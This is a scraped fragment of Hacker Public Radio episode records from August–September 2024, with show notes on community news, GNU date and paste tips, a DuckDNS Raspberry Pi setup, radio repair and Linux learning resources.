                                                            4180Fri2024-08-09Intro to Science Fiction SeriesAhuka
                                                            4181Mon2024-08-12Downloading out of copyright moviesBob
                                                            4182Tue2024-08-13Replacing backup batteries in my Kenwood TS940S HF Radio Part 1MrX
                                                            4183Wed2024-08-14What's in Kevie's holiday bag:Kevie
                                                            4184Thu2024-08-15Use GKRellM, wget and ImageMagick for a live slideshowgemlog
                                                            4185Fri2024-08-16Archiving VCR or any other RCA mediaKen Fallon
                                                            4186Mon2024-08-19How to get started with Software Freedom Day?Trollercoaster
                                                            4187Tue2024-08-20Go Fish Card GameAl
                                                            4188Wed2024-08-21Re: HPR4172 Comment by Ken FallonArcher72
                                                            4189Thu2024-08-22 HPR New Years Eve Show 2023 - 24 ep 6Honkeymagoo
                                                            4190Fri2024-08-23Civilization IVAhuka
                                                            4191Mon2024-08-26rkvm software KVMWindigo
                                                            4192Tue2024-08-27Replacing backup batteries in my Kenwood HF Radio Part 2MrX
                                                            4193Wed2024-08-28Why I haven't recorded an episode for HPRthelovebug
                                                            4194Thu2024-08-29Get more user space on your Linux filesystem with tune2fsDeltaray
                                                            4195Fri2024-08-30Hacking HPR HostsKen Fallon
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 30 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 8 comments on\n7 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2023\n(2016-05-04) \"Setting up my Raspberry Pi 3\"\nby Dave Morriss.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 7:\nDave Morriss on 2024-08-23:\n\"What failed first, the SD or the SSD?\"

                                                              \n
                                                            • hpr3661\n(2022-08-15) \"Ham Radio testing\"\nby Archer72.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nDave Lee (thelovebug) on 2024-08-22:\n\"Only just got around to listening to this one\"

                                                              \n
                                                            • hpr4036\n(2024-01-22) \"The Tildeverse\"\nby Claudio Miranda.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nDave Lee (thelovebug) on 2024-08-22:\n\"rawtext\"

                                                              \n
                                                            • hpr4096\n(2024-04-15) \"Powers of two\"\nby Deltaray.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nmandigal on 2024-08-10:\n\"RE:\"

                                                              \n
                                                            • hpr4135\n(2024-06-07) \"Mining the web\"\nby Cedric De Vroey.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nCedric on 2024-08-01:\n\"Follow up\"

                                                              \n
                                                            • hpr4156\n(2024-07-08) \"Badger 2040\"\nby Kevie.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2024-08-05:\n\"I am weak\"

                                                              \n
                                                            • hpr4172\n(2024-07-30) \"Re: hpr4072 Piper voice synthesis\"\nby Archer72.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nKen Fallon on 2024-08-01:\n\"More issues\"
                                                              • \n
                                                              • \nComment 4:\nKen Fallon on 2024-08-02:\n\"It works\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 22 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr4174\n(2024-08-01) \"Of the Mic and the Mop\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKnightwise on 2024-07-31:\n\"Posting on behalf of Knightwise, and with his permission.\"
                                                              • Comment 2:\ndnt on 2024-08-03:\n\"A good reflection on what this project is\"
                                                              • Comment 3:\nHenrik Hemrin on 2024-08-04:\n\"Leared more about what HPR is\"
                                                              • Comment 4:\nKen Fallon on 2024-08-05:\n\"@dnt\"
                                                              • Comment 5:\nKen Fallon on 2024-08-05:\n\"@Henrik\"
                                                              • Comment 6:\nArcher72 on 2024-08-05:\n\"Re: hpr4174::2024-08-01 Of the Mic and the Mop and Re: Henrik Hemrin\"

                                                              \n
                                                            • hpr4177\n(2024-08-06) \"Blender 3D Tutorial #1\"\nby Deltaray.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDeltaray on 2024-08-06:\n\"Place to post your renders\"
                                                              • Comment 2:\nHenrik Hemrin on 2024-08-13:\n\"I like the audio tutorial concept\"

                                                              \n
                                                            • hpr4180\n(2024-08-09) \"Intro to Science Fiction Series\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-08-09:\n\"Downtown Buffalo Library\"
                                                              • Comment 2:\nKevin O'Brien on 2024-08-09:\n\"Thank you Trey\"
                                                              • Comment 3:\nDave Lee (thelovebug) on 2024-08-14:\n\"Great series!\"
                                                              • Comment 4:\nKevin O'Brien on 2024-08-15:\n\"Just what I hoped for\"
                                                              • Comment 5:\nTrollercoaster on 2024-08-20:\n\"Small recommendation (and thanks)\"
                                                              • Comment 6:\nAaron B on 2024-08-24:\n\"Interesting list, Sci fi\"

                                                              \n
                                                            • hpr4181\n(2024-08-12) \"Downloading out of copyright movies\"\nby Bob.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2024-08-12:\n\"Alternative sites\"

                                                              \n
                                                            • hpr4182\n(2024-08-13) \"Replacing backup batteries in my Kenwood TS940S HF Radio Part 1\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-08-13:\n\"Thank you for the reminder\"

                                                              \n
                                                            • hpr4184\n(2024-08-15) \"Use GKRellM, wget and ImageMagick for a live slideshow\"\nby gemlog.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr4185\n(2024-08-16) \"Archiving VCR or any other RCA media\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrixter on 2024-08-21:\n\"Some issues with your capture methodology\"
                                                              • Comment 2:\nKen Fallon on 2024-08-22:\n\"Trixter\"

                                                              \n
                                                            • hpr4187\n(2024-08-20) \"Go Fish Card Game\"\nby Al.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Lee (thelovebug) on 2024-08-22:\n\"Not played this in years\"

                                                              \n
                                                            • hpr4188\n(2024-08-21) \"Re: HPR4172 Comment by Ken Fallon\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Lee (thelovebug) on 2024-08-22:\n\"Bryce T. Shatner\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2024-August/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Repairing\nshows where external files have been lost

                                                            \n
                                                              \n
                                                            • The further back in time we go with these repairs, the more\nchallenging they become. The most that can be done per day is five, and\nthere have been a few breaks along the way!

                                                            • \n
                                                            • This is the current repair state:

                                                            • \n
                                                            \n
                                                                +------------+------------+--------------+------------------+\n    |    date    | repairable | repair_count | unrepaired_count |\n    +------------+------------+--------------+------------------+\n    | 2024-08-28 | 352        | 252          | 100              |\n    +------------+------------+--------------+------------------+
                                                            \n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4197,"date":"2024-09-03","title":"After 5 years away, OggCamp is back in 2024!","duration":1083,"summary":"Ken interviews Gary Williams about rebooting the OggCamp meetup","notes":"\n

                                                            Ken interviews Gary Williams about rebooting the OggCamp meetup

                                                            https://oggcamp.org/

                                                            \n\n

                                                            After 5 years away, OggCamp is back in 2024!

                                                            \n\n

                                                            Want to talk on our scheduled track? CfP is now open!

                                                            \n\n

                                                            OggCamp Tickets are now available! Visit tickets to find out more and secure your place.

                                                            \n\n

                                                            We’re at The Manchester Conference Centre in the Pendulum Hotel near Piccadilly Station the weekend of October 12th and 13th 2024.

                                                            \n\n
                                                            \n\n\n

                                                            STAY IN TOUCH

                                                            \n\n

                                                            Follow us on Mastodon,\nBluesky,\nTwitter or Facebook and we’ll update you with any important news. There is also a Telegram group, an IRC channel (also available via WebChat), a Matrix Room and a Discord Server.

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OggCamp, Manchester, BarCamp.","version":0,"downloads":0,"valid":1}, {"id":4198,"date":"2024-09-04","title":"Are hobbies pathological?","duration":755,"summary":"Personal reflections on hobbies, obsessive interests and mental health","notes":"

                                                            \"Science

                                                            \n\n

                                                            Atari\n8 bit computers Atari ST

                                                            \n

                                                            RM Nimbus

                                                            \n

                                                            Dark\nConspiracy

                                                            \n

                                                            Autism

                                                            \n

                                                            Local\nExchange Trading Systems

                                                            \n

                                                            PowerBook

                                                            \n","hostid":403,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"retro-computing, mental health, role-playing","version":0,"downloads":0,"valid":1}, {"id":4199,"date":"2024-09-05","title":" HPR New Years Eve Show 2023 - 24 ep 7","duration":7179,"summary":"The HPR community comes together to converse","notes":"\n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years, linux, community.","version":0,"downloads":0,"valid":1}, {"id":4200,"date":"2024-09-06","title":"Intro to Doctor Who","duration":1128,"summary":"An introduction to one of my favorites, Doctor Who","notes":"

                                                            This introduction is an overview of Doctor Who from its beginnings in\n1963 right up to the end of 2023. We look at the television series and\nmovies, as well as appearances in other media. Many of these will be\nthings we go into more detail about later, but this helps to put the\npieces in place first.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Doctor Who, TV, movies","version":0,"downloads":0,"valid":1}, {"id":4201,"date":"2024-09-09","title":"Today I learnt (2024-08-23)","duration":1301,"summary":"Some random technical items this time","notes":"
                                                            \n

                                                            TIL 1:\nIncrementing times with the date command

                                                            \n
                                                              \n
                                                            • I have been working on an HPR project which is restoring external\nfiles to shows which lost them when we migrated to the current static\nsite.
                                                            • \n
                                                            • As I make changes I want to be able to check that they are correct,\nbut to make this check I need to wait for the next update of the static\nsite.
                                                            • \n
                                                            • Ken was away recently, and set up a cron job to refresh\nthe site every three hours. Each show page shows the refresh time in UTC\nform in the header.
                                                            • \n
                                                            • Being a bit numerically challenged I wanted a way of computing the\nnext refresh time in my timezone from the previous refresh time.
                                                            • \n
                                                            • The GNU date command accepts a date and time expression\nafter the -d option (or using the\nalternative--date=STRING option). The contents of the\nSTRING here are very flexible but quite complex since you\ncan include time zone data, offsets, day and month names, etc. See the\nlinks below for links to the GNU manual.
                                                            • \n
                                                            • My first attempt used the date command like this and\ngot the wrong answer (using the output format +%T which\nwrites the time in a default form):
                                                            • \n
                                                            \n
                                                                $ date -d '16:27:16 + 3 hours' +%T\n    15:27:16
                                                            \n
                                                              \n
                                                            • It is not clear why this fails, but the GNU function which parses\nthese date parameters is obviously confused. The second try included the\ntime zone after the time, and worked better, but is a little\nconfusing:
                                                            • \n
                                                            \n
                                                                $ date -d '16:27:16 UTC + 3 hours' +%T\n    20:27:16
                                                            \n
                                                              \n
                                                            • The time returned is local time for me. The date\ncommand has added three hours to the UTC date to get 19:27:16, but since\nI am in the UK, which is in DST (called BST - British Summer Time - UTC\nplus 1 hour), an hour is added.
                                                            • \n
                                                            • The final try used the -u option which writes UTC\ntime:
                                                            • \n
                                                            \n
                                                                $ date -u -d '16:27:16 UTC + 3 hours' +%T\n    19:27:16
                                                            \n
                                                              \n
                                                            • I actually ended up using and re-using these commands (though a\nscript would have been better):
                                                            • \n
                                                            \n
                                                                $ current='06:27:55'\n    $ next=$(date -u -d "${current}UTC + 3 hours 3 minutes" +%T); echo "$next UTC / $(date -d "${next} UTC" +'%T %Z')"\n    09:30:55 UTC / 10:30:55 BST\n    $ current=$next\n    $ next=$(date -u -d "${current}UTC + 3 hours 3 minutes" +%T); echo "$next UTC / $(date -d "${next} UTC" +'%T %Z')"\n    12:33:55 UTC / 13:33:55 BST\n    $ current=$next\n    $ next=$(date -u -d "${current}UTC + 3 hours 3 minutes" +%T); echo "$next UTC / $(date -d "${next} UTC" +'%T %Z')"\n    15:36:55 UTC / 16:36:55 BST
                                                            \n

                                                            TIL 1: Links

                                                            \n
                                                              \n
                                                            • GNU\nCoreutils manual\n
                                                                \n
                                                              • System\ncontext\n
                                                                  \n
                                                                • date:\nPrint or set system date and time\n
                                                                    \n
                                                                  • Date\ninput formats (The quotation at the start of this section of the\nmanual is quite interesting!)
                                                                  • \n
                                                                  • Date\nexamples
                                                                  • \n
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            TIL 2: Merging lines of\nfiles with paste

                                                            \n
                                                              \n
                                                            • While processing and \"repairing\" shows I came across the need to\ngenerate a list of show numbers separated by commas. In the past I have\nloaded these into a Bash array and turned them into a comma-delimited\nstring, using the parameter substitution capabilities of Bash which can\nadd a comma to each element. The trouble with this is that it leaves a\ntrailing comma which has to be removed. I stumbled upon\npaste as an alternative way of doing this.
                                                            • \n
                                                            • The GNU paste command is another from the GNU\nCoreutils group. This one merges lines of files. Its synopsis\nis:
                                                            • \n
                                                            \n
                                                                paste [OPTION]... [FILE]...
                                                            \n
                                                              \n
                                                            • It merges lines consisting of the corresponding lines from each file\nprovided as an argument, by default separated by TABs, and writes them\nto standard output. This means it produces lines consisting of the first\nline from each of the files, separated by tabs, then the second lines,\nand so on.
                                                            • \n
                                                            • Any of the files can be linked to standard in by using a\n- (hyphen) as the file name.
                                                            • \n
                                                            • The delimiters can be changed with the -d LIST or\n--delimiters=LIST option. The use of a list of delimiters\ncauses the characters in the list to be used sequentially for each\ndelimiter.
                                                            • \n
                                                            • The merged lines can be visualised as rows in a matrix, where each\nfile provides a column.
                                                            • \n
                                                            • The \"matrix\" is rotated by using the -s or\n--serial option. Here the lines from one file at a time are\nmerged - the files are processed serially rather than in\nparallel.
                                                            • \n
                                                            • The paste command can be used to generate the\ncomma-delimited list I wanted by using the options -s and\n-d ',':
                                                            • \n
                                                            \n
                                                                $ printf '%s\n' {1..10} | paste -s -d, -\n    1,2,3,4,5,6,7,8,9,10
                                                            \n
                                                              \n
                                                            • Note that you can't get the same result with\necho {1..10} because all the numbers will be written to one\nline rather than being the separate lines that paste\nrequires.
                                                            • \n
                                                            • The file arguments to paste may also be Bash\nprocess substitution expressions:
                                                            • \n
                                                            \n
                                                                $ paste -s -d, <(printf '%s\n' {1..10})\n    1,2,3,4,5,6,7,8,9,10
                                                            \n
                                                              \n
                                                            • This means you can generate more complex output by using multiple\nprocess substitution expressions where each is seen as a\nfile:
                                                            • \n
                                                            \n
                                                                $ paste -d'|' <(printf '%d\n' {1..7}) <(printf '%s\n' {A..G}) <(printf '%d\n' {100..106})\n    1|A|100\n    2|B|101\n    3|C|102\n    4|D|103\n    5|E|104\n    6|F|105\n    7|G|106
                                                            \n
                                                              \n
                                                            • Note how using the -s option \"rotates\" this:
                                                            • \n
                                                            \n
                                                                $ paste -s -d'|' <(printf '%d\n' {1..7}) <(printf '%s\n' {A..G}) <(printf '%d\n' {100..106})\n    1|2|3|4|5|6|7\n    A|B|C|D|E|F|G\n    100|101|102|103|104|105|106
                                                            \n
                                                              \n
                                                            • This is what I was actually trying to do, so I could feed show\nnumbers to another script which will accept a CSV list as an\noption:
                                                            • \n
                                                            \n
                                                                $ echo "select episode_id from repairs where repair_date is null order by episode_id desc limit 5" |\\n    sqlite3 -list ~/HPR/InternetArchive/ia.db | paste -s -d',' -\n    1959,1952,1951,1946,1941
                                                            \n

                                                            TIL 2: Links

                                                            \n
                                                              \n
                                                            • GNU\nCoreutils manual\n
                                                                \n
                                                              • Operating\non fields\n
                                                                  \n
                                                                • paste:\nMerge lines of files
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n","hostid":225,"series":123,"explicit":1,"license":"CC-BY-SA","tags":"TIL, date, paste","version":0,"downloads":0,"valid":1}, {"id":4202,"date":"2024-09-10","title":"Replacing backup batteries in my Kenwood HF Radio Part 3","duration":1110,"summary":"Part 3 deals with the replacement of the clock backup battery on my TS-940S","notes":"

                                                            Picture 1
                                                            \n
                                                            \nshows the radio hanging over the edge with the front panel rotated down\nbefore rotating it back into place. It shows the cramped working\ncondition I had to deal with.

                                                            \n

                                                            Link to the\nYouTube video I used that described the process of removing the two\nbackup batteries in a Kenwood TS-940S. The video was very useful and\ninformative however as usual it looked far easier than it actually was\nor perhaps I’m just rubbish at taking radios apart.

                                                            \n

                                                            Picture 2
                                                            \n
                                                            \nshows the clock display immediately after first switch on with the\ndisplay not working properly.

                                                            \n

                                                            Picture 3
                                                            \n
                                                            \nshows the correct clock display after pushing an internal reset button.\nI think the picture shows the alarm and timer settings. It eventually\ndisplays the correct time once it was setup. Unfortunately I forgot to\ntake a picture of the final clock display.

                                                            \n

                                                            Link to\nTechMoan You-tube episode where the hi-fi was destroyed by a leaking\nbattery (Sony’s self-destructing MD Recorder from 2070).

                                                            \n

                                                            Wikipedia\narticle about an S0239 connector. This being the Antenna connector which\nI had to re-connect before being able to work on the radio.

                                                            \n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"Amateur, Radio, DIY, repair, electronics, soldering","version":0,"downloads":0,"valid":1}, {"id":4203,"date":"2024-09-11","title":"Setup DuckDNS on a Raspberry Pi","duration":1036,"summary":"Kevie discusses Dynamic DNS and how to setup DuckDNS on a Raspberry Pi","notes":"

                                                            Kevie, co-host of TuxJam, discusses what a Dynamic DNS is and also introduces the free service DuckDNS. To complete this project you are going to need:

                                                            \n
                                                              \n
                                                            • Raspberry Pi
                                                            • \n
                                                            • Pi Power Supply
                                                            • \n
                                                            • Micro-SD Card
                                                            • \n
                                                            • Ethernet Cable
                                                            • \n
                                                            \n

                                                            The first thing that we will need to do is to go to the DuckDNS website, sign in using your preferred method, once you complete the captcha then you will be given your unique token (copy or take a note of it, but don't share this with anybody).

                                                            \n

                                                            Next you will want to create your own unique address, type in your chosen domain and click on Add Domain.

                                                            \n

                                                            Now it is time to setup your Raspberry Pi. Log into your Pi and open a terminal. The first thing that we will do is make sure that it is up to date:

                                                            \nsudo apt update && sudo apt upgrade -y\n

                                                            Install Curl using the command:

                                                            \nsudo apt install curl\n

                                                            You will now create two new folders, the first is where the script will be kept, the second to store the logs:

                                                            \nsudo mkdir /opt/duckdns/ && sudo mkdir /var/log/duckdns/\n

                                                            We need to add a bash script that will update your IP with the DuckDNS service. First of all create a new file called duck.sh with the code:

                                                            \nsudo nano /opt/duckdns/duck.sh\n

                                                            At this point the file is empty, we need to enter in the command below. However you must replace DUCKDNSDOMAIN with the domain that was created on the DuckDNS website and replace DUCKTOKEN with your DuckDNS Token:

                                                            \necho url=\"https://www.duckdns.org/update?domains=DUCKDNSDOMAIN&token=DUCKTOKEN&ip=\" | curl -k -o /var/log/duckdns/duck.log -K -\n

                                                            Now save and exit (ctrl+X, Y, enter on Nano).

                                                            \n

                                                            Next we can set the script's permission so that nobody else will gain access to your token:

                                                            \nsudo chmod 700 /opt/duckdns/duck.sh\n

                                                            Last step: we need to set a cron task so that your Pi will update DuckDNS domain every 5 minutes:

                                                            \nsudo crontab -e\n

                                                            Navigate to the bottom of the page and add the line:

                                                            \n*/5 * * * * /opt/duckdns/duck.sh >/dev/null 2>&1\n

                                                            Save and exit and your dynamic DNS should be up and running within five minutes.

                                                            \n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Dynamic DNS,Raspberry Pi,remote access,Linux","version":0,"downloads":0,"valid":1}, {"id":4204,"date":"2024-09-12","title":"LibreOffice Importing External Data","duration":164,"summary":"It's how to use the normal menu items to make online tabular data easier to use.","notes":"

                                                            Here is an example of a StatsCan\n(Statistics Canada) tabular page of nasty UX.

                                                            \n

                                                            NB: in this case, you may d/l the csv, but you'd still have\nto do the same work. The point is to show a horrible UX case and how you\ncan fix it in LibreOffice Calc

                                                            \n","hostid":425,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"External_Links, LibreOffice_Calc","version":0,"downloads":0,"valid":1}, {"id":4205,"date":"2024-09-13","title":"Trollercoasting almost getting a heart attack","duration":281,"summary":"Trollercoaster interacts with the Community News Summary of August 2024","notes":"

                                                            Trollercoaster reacts to the community news podcast of August - in a\nway fitting to his handle. With a little touch of drama and a little\ntouch of humor. I hope I didn't offend anyone (oh well... I'm trolling a\nbit, so I guess I don't care that much... but I do a bit though... does\nit show that I have a chaotic brain?)

                                                            \n","hostid":433,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Software Freedom Day, Community, Activism, Drama, Troll","version":0,"downloads":0,"valid":1}, {"id":4206,"date":"2024-09-16","title":"New to GNU/Linux resources.","duration":1701,"summary":"Sgoti talks about resources for new Linux users.","notes":"

                                                            New to GNU/Linux resources.

                                                            \n

                                                            Sgoti talks\nabout resources for new Linux users.

                                                            \n
                                                              \n
                                                            • Tags: New to Linux, documentation
                                                            • \n
                                                            \n

                                                            The Linux Command Line

                                                            \n
                                                              \n
                                                            • The book spells Vim wrong (joke).\n
                                                                \n
                                                              • nano ~/.bashrc should be\nvim ~/.bashrc.
                                                              • \n
                                                            • \n
                                                            • groff + sed = \"Log off and go to bed.\"
                                                            • \n
                                                            \n

                                                            Bash man page.

                                                            \n
                                                              \n
                                                            • Shell grammar.
                                                              \n\n
                                                                \n
                                                              • This section describes the syntax of the various forms of shell\ncommands.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            DEFINITIONS.

                                                            \n
                                                            \n
                                                            \n
                                                            The following definitions are used throughout the rest of this\ndocument.\nblank  A space or tab.\nword   A sequence of characters considered as a single unit by\n       the shell.  Also known as a token.\nname   A word consisting only of alphanumeric characters and\n       underscores, and beginning with an alphabetic character or\n       an underscore.  Also referred to as an identifier.\nmetacharacter\n       A character that, when unquoted, separates words.  One of\n       the following:\n       |  & ; ( ) < > space tab newline\ncontrol operator\n       A token that performs a control function.  It is one of\n       the following symbols:\n       || & && ; ;; ;& ;;& ( ) | |& <newline>
                                                            \n
                                                            \n
                                                            \n

                                                            Lists.

                                                            \n
                                                            \n
                                                            \n
                                                             A list is a sequence of one or more pipelines separated by one of\n the operators ;, &, &&, or ||, and optionally terminated by one\n of ;, &, or <newline>.
                                                            \n
                                                            \n
                                                            \n

                                                            ARITHMETIC EVALUATION.

                                                            \n
                                                            \n
                                                            \n
                                                            ((expression))\n   - +    unary minus and plus\n   * / %  multiplication, division, remainder\n   + -    addition, subtraction\n   <= >= < >\n          comparison\n   == !=  equality and inequality\n   &&     logical AND\n   ||     logical OR
                                                            \n
                                                            \n
                                                            \n

                                                            CONDITIONAL EXPRESSIONS.

                                                            \n
                                                            \n
                                                            \n
                                                            [[ expression ]]\nReturn a status of 0 or 1 depending on the evaluation of the conditional expression.\n-a file, True if file exists.\n-d file, True if file exists and is a directory.\n-f file, True if file exists and is a regular file.
                                                            \n
                                                            \n
                                                            \n

                                                            PARAMETERS (Positional Parameters & Special Parameters).

                                                            \n
                                                            \n
                                                            \n
                                                            A parameter is an entity that stores values.
                                                            \n
                                                            \n
                                                            \n

                                                            EXPANSION.

                                                            \n
                                                            \n
                                                            \n
                                                            race expansion, tilde expansion, parameter and variable\nexpansion, command substitution, arithmetic expansion, word\nsplitting, and pathname expansion.
                                                            \n
                                                            \n
                                                            \n

                                                            JOB CONTROL.

                                                            \n
                                                            \n
                                                            \n
                                                            Job control refers to the ability to selectively stop (suspend)\nthe execution of processes and continue (resume) their execution\nat a later point.
                                                            \n
                                                            \n

                                                            Title: 'The Linux Command Line'
                                                            \nLicense: creativecommons:\nAttribution-NonCommercial-NoDerivs 3.0 Unported 'CC BY-NC-ND 3.0'
                                                            \nSource(s):
                                                            \nlinuxcommand:\n'The Linux Command Line: Fifth Internet Edition' by William\nShotts.
                                                            \narchive:\n'The Linux Command Line Fifth Internet Edition' by William Shotts.
                                                            \n

                                                            \n

                                                            Title: bash Linux manual page.
                                                            \nLicense: Bash is Copyright (C) 1989-2022 by the Free\nSoftware Foundation, Inc.
                                                            \nSource(s):
                                                            \nman7: bash(1) — Linux manual\npage
                                                            \nman7:\nLinux manual pages: alphabetic list of all pages.
                                                            \n

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"New to Linux, documentation","version":0,"downloads":0,"valid":1}, {"id":4207,"date":"2024-09-17","title":"Re: The Kindle/Kobo Open Reader (KOReader)","duration":518,"summary":"A response to hpr1949, about the KOReader","notes":"

                                                            A response to a 2016 show by Jon Kulp, about the KO Reader.

                                                            \n

                                                            https://koreader.rocks/

                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"koreader, kindle, ebooks, epub","version":0,"downloads":0,"valid":1}, {"id":4208,"date":"2024-09-18","title":"01 Plain Text Programs","duration":343,"summary":"Plain Text Programs-what they are-what they do-why they're good-and why they're not for everything","notes":"

                                                            01 Plain Text Programs

                                                            \n

                                                            Hi. I'm here to talk about Plain Text Programs, what they are, what\nthey do, why they're good, and why they're not for everything. Right up\nfront I'm requesting feedback on what I have to say. I'm on Mastodon and\nI'll start a thread for each podcast or you can reach me by email.

                                                            \n

                                                            My Mastodon address is
                                                            \n@hairylarry@gamerplus.org

                                                            \n

                                                            My profile is at
                                                            \nhttps://gamerplus.org/@hairylarry

                                                            \n

                                                            And my email is
                                                            \nhairylarry@deltaboogie.com

                                                            \n

                                                            Also you can Network With Hairy Larry at
                                                            \nhttps://deltaboogie.net.

                                                            \n

                                                            In the future I plan on doing podcasts on specific Plain Text\nPrograms, some that I wrote and some that were written by others. Any\nprogram that I will discuss will be licensed with a free culture\nlicense.

                                                            \n

                                                            The first thing I want to emphasize about Plain Text Programs is that\nthere's no database like SQL or LLM. All text data is written in plain\ntext files stored on a file system.

                                                            \n

                                                            Now, I love databases. Before I retired I was a database programmer.\nAnd as a database programmer I learned a lot about the difficulties\nmaintaining programs that rely on databases. There's a lot of cool stuff\nyou can do with a database that's just not reasonable to try with plain\ntext. Now that I'm retired I don't really want to work that hard\nanymore. I want programming to be easy and fun.

                                                            \n

                                                            Plain text does not mean there can't be images or other media. Image\nfiles like .jpg or .png can be stored in the file system just like text\nfiles. No worries.

                                                            \n

                                                            A big advantage of Plain Text Programs is portability. To back up a\nworking program you copy the directory tree that holds the program's\nfiles. To install or restore a Plain Text Program copy the tree onto a\nsystem or server.

                                                            \n

                                                            I usually work on Linux using the PHP programming language. This is\nof course my preference. Any language running on any file system can be\nused to write Plain Text Programs.

                                                            \n

                                                            My minimum install will usually have a configuration file, at least\none program file, and a set of text files.

                                                            \n

                                                            Some of the Plain Text Programs I use all the time that I wrote\nare

                                                            \n

                                                            Websites

                                                            \n
                                                              \n
                                                            • Dirt Simple Photo Gallery
                                                            • \n
                                                            • Plain Text Blog
                                                            • \n
                                                            • Not Actually Plain Text Blog
                                                            • \n
                                                            • Network With Hairy Larry
                                                            • \n
                                                            \n

                                                            Internet Radio

                                                            \n
                                                              \n
                                                            • MixRemix - Creative Commons Jazz
                                                            • \n
                                                            • KGPL
                                                            • \n
                                                            \n

                                                            Utilities

                                                            \n
                                                              \n
                                                            • Backup The Web Server
                                                            • \n
                                                            \n

                                                            I also use Plain Text Programs that other programmers wrote

                                                            \n\n

                                                            Links to these programs are in the script.

                                                            \n

                                                            So these are mostly websites or web applications but Plain Text\nPrograms do not have to be outward facing. They can just be an easy\nprogram that you write to automate a task that you have to do\nperiodically. Like my Backup The Web Server program that I wrote in\nbash.

                                                            \n

                                                            I write my Plain Text Programs websites so that updates and additions\nare made with FTP. FTP is a well established secure way to transfer\nfiles from your development system to your web server. Another good\noption, particularly for static websites that are generated on the\ndevelopment system and then mirrored up to the server, is rsync.

                                                            \n

                                                            I believe that simplicity is the key. I have written complicated\nPlain Text Programs including the social network writing game, Collab.\nBut I think a simple one page or few pages design fits the plain text\nparadigm better.

                                                            \n

                                                            Well, I'm going to call this a wrap for now. I plan on covering\nspecific Plain Text Programs in future podcasts and I may occasionally\nstep back and look at the big picture or discuss ideas and\nspecifications for future projects.

                                                            \n

                                                            Thanks for listening. I appreciate all your comments.

                                                            \n

                                                            You can find the plain text script with the link to the comment\nthread and all other links at home.gamerplus.org, a Not Actually Plain\nText Blog.

                                                            \n

                                                            Comment thread link.
                                                            \nhttps://gamerplus.org/deck/@hairylarry/113142858145586294

                                                            \n","hostid":436,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"programming, plaintext","version":0,"downloads":0,"valid":1}, {"id":4209,"date":"2024-09-19","title":" HPR New Years Eve Show 2023 - 24 ep 8","duration":4722,"summary":"The HPR community comes together to converse","notes":"\n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years, linux, community.","version":0,"downloads":0,"valid":1}, {"id":4210,"date":"2024-09-20","title":"Playing Civilization IV, Part 1","duration":914,"summary":"We start our dive into the mechanics of this game","notes":"

                                                            Civilization IV made some changes, and in this episode we look at the\nVictory types, how the tiles work, and how the game can be modded.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization IV","version":0,"downloads":0,"valid":1}, {"id":4211,"date":"2024-09-23","title":"Rapid Fire 1","duration":1083,"summary":"Neuro diverse TV/Movies, DIY Liquid Conductive paint, cold hands / feet, Linux CPU info apps","notes":"

                                                            cat /usr/local/sbin/TOP

